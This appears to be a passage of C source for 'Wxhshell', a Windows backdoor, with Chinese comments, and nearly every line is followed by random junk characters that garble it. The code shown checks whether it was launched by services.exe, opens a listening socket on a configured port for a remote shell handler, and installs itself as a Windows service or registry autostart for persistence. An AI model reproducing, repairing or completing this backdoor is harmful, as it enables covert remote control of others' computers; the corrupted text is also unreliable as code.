DWORD AffinityMask; ^FVdA1~/
DWORD BasePriority; i)i>Ulj*i
ULONG UniqueProcessId; y{<e4{
!
ULONG InheritedFromUniqueProcessId; Hm-#Mpw
} PROCESS_BASIC_INFORMATION; YI0
wr1N
h]4xS?6O
PROCNTQSIP NtQueryInformationProcess; X~{6$J|]#i
jv)+qmqo!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bvox7V>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "HOZ2_(o
Sn=6[RQ>P
HANDLE hProcess; ptCF))Zm'
PROCESS_BASIC_INFORMATION pbi; \:vF FK4a
WogUILB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c{q+h V=
if(NULL == hInst ) return 0; }Fe~XO`
MO`Y&<g~A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vq$6e*A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QoD_`d
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }M07-qIX{
#xIg(nG
if (!NtQueryInformationProcess) return 0; [|nK5(e9
8Pn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c`O~I<(Pm
if(!hProcess) return 0; ghQ B
?t/qaUXN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 15:9JVH3D
%4~"$kE
CloseHandle(hProcess); 9{Hs1MD[
zJDHDr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f:;-ZkIU ?
if(hProcess==NULL) return 0; *D]:{#C*
DV5hTw0
HMODULE hMod; Q'<AV1<
char procName[255]; .S` q2C\
unsigned long cbNeeded; :V/".K-:J
6H#:rM
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wE
.H:q4&
=s\$i0A2
CloseHandle(hProcess); F^dJ{<yX
O& Y;/$w
if(strstr(procName,"services")) return 1; // 以服务启动 XYcZ;Z 9:
I9?\Jbqg
return 0; // 注册表启动 +Mj6.X
} ; lMv xt:
@-@Coy 4Tt
// 主模块 t3L>@NWG
int StartWxhshell(LPSTR lpCmdLine) /~LE1^1&U
{ oO2DPcK
SOCKET wsl; - H?c4? 5
BOOL val=TRUE; ;&d#)&O"e
int port=0; \/Y(m4<P
struct sockaddr_in door; Nd(,oXa~
!HTOE@
if(wscfg.ws_autoins) Install(); O8;/oL4 U
9o@3$
port=atoi(lpCmdLine); Q 3WD!Z8y
cU;Bm}U
if(port<=0) port=wscfg.ws_port; w2B)$u
wNa5qp
0
WSADATA data; M;A_'h?Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [RF,0>^b
Wn<?_}sa|z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A7 RI&g
v5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *HrEh;3^J
door.sin_family = AF_INET; }*x1e_m}H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); QqM[W/&R
door.sin_port = htons(port); N* gJu
I~7iIUD
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'FW?
closesocket(wsl); f 3UCELJ
return 1; N{Sp-J>
} @IG's-
!)a_@d.;i
if(listen(wsl,2) == INVALID_SOCKET) { HLyAzB~r
closesocket(wsl); 8xy8/UBIk0
return 1; fJFNS
y
} TXImmkC
Wxhshell(wsl); -2hirA<^
WSACleanup(); c>bns/f
b9H(w%7ucU
return 0; &}DfIP<
y##h(y
} .}__XWK5
5dj" UxH
// 以NT服务方式启动 b
3x|Dq .
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^hLr9k
{ _LJF:E5L
DWORD status = 0; 2yA)SGri
DWORD specificError = 0xfffffff; 2cCiHEL #
9c^ ,v_W@
serviceStatus.dwServiceType = SERVICE_WIN32; ~0MpB~ {xd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j_JY[sex
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tpl]\L1v-
serviceStatus.dwWin32ExitCode = 0; ggDT5hb
serviceStatus.dwServiceSpecificExitCode = 0; bRvGetX
serviceStatus.dwCheckPoint = 0; @&\Y:aRO%i
serviceStatus.dwWaitHint = 0; K<P d.:
QFP9"FM5F
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N{%7OG
if (hServiceStatusHandle==0) return; 8'PZA,CW
fo ~uI(rk
status = GetLastError(); wm~7`&
if (status!=NO_ERROR) |62` {+
{ V'vWz`#
serviceStatus.dwCurrentState = SERVICE_STOPPED; `'1g>Ebk0
serviceStatus.dwCheckPoint = 0; 4l 67B]o
serviceStatus.dwWaitHint = 0; [=K
lDfU=
serviceStatus.dwWin32ExitCode = status; $toTMah
w
serviceStatus.dwServiceSpecificExitCode = specificError; qFm w9\Fn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )]@h}K}
return; Im;%.J
} ;e?M;-
?[JP[
qS
serviceStatus.dwCurrentState = SERVICE_RUNNING; }$_@yt<{W@
serviceStatus.dwCheckPoint = 0; 8?Zhh.
serviceStatus.dwWaitHint = 0; ]PS`"o,pF$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9@|52dz%
} 9nR\7!_
.!3e$mhV
// 处理NT服务事件,比如:启动、停止 zsp%Cz7T
VOID WINAPI NTServiceHandler(DWORD fdwControl) c!IZLaVAr9
{ A-!e$yz>
switch(fdwControl) {s8c@-'
{ >pF* unC;
case SERVICE_CONTROL_STOP: zj7ta[<tr
serviceStatus.dwWin32ExitCode = 0; ~nA k-toJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; x3y+=aj
serviceStatus.dwCheckPoint = 0; Tz1^"tx9
serviceStatus.dwWaitHint = 0; i(4<MB1a
{ }Ulxt:}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r `PJb5^\|
} wtS*-;W
return; ,ua1sTgQ
case SERVICE_CONTROL_PAUSE: 0:V/z3?
serviceStatus.dwCurrentState = SERVICE_PAUSED; \V-N~_-H
break; )ce 6~
case SERVICE_CONTROL_CONTINUE: 5f*_K6 ,v
serviceStatus.dwCurrentState = SERVICE_RUNNING; D40 vCax^J
break; 4p"' ox#
case SERVICE_CONTROL_INTERROGATE: Bve|+c6W
break; iVFOOsJ@
}; zxn|]PbS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ep6+YK:cn
} flCT]ZR
VM$n|[C~
// 标准应用程序主函数 $yx\2
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6ld4'oM
{ ">[#Ops-;$
ji ?Hw
// 获取操作系统版本 %n|
OsIsNt=GetOsVer(); :9hGL
GetModuleFileName(NULL,ExeFile,MAX_PATH); (4FVemgy
PK+sGV
// 从命令行安装 ${T/b(NM
if(strpbrk(lpCmdLine,"iI")) Install(); @;egnXxF<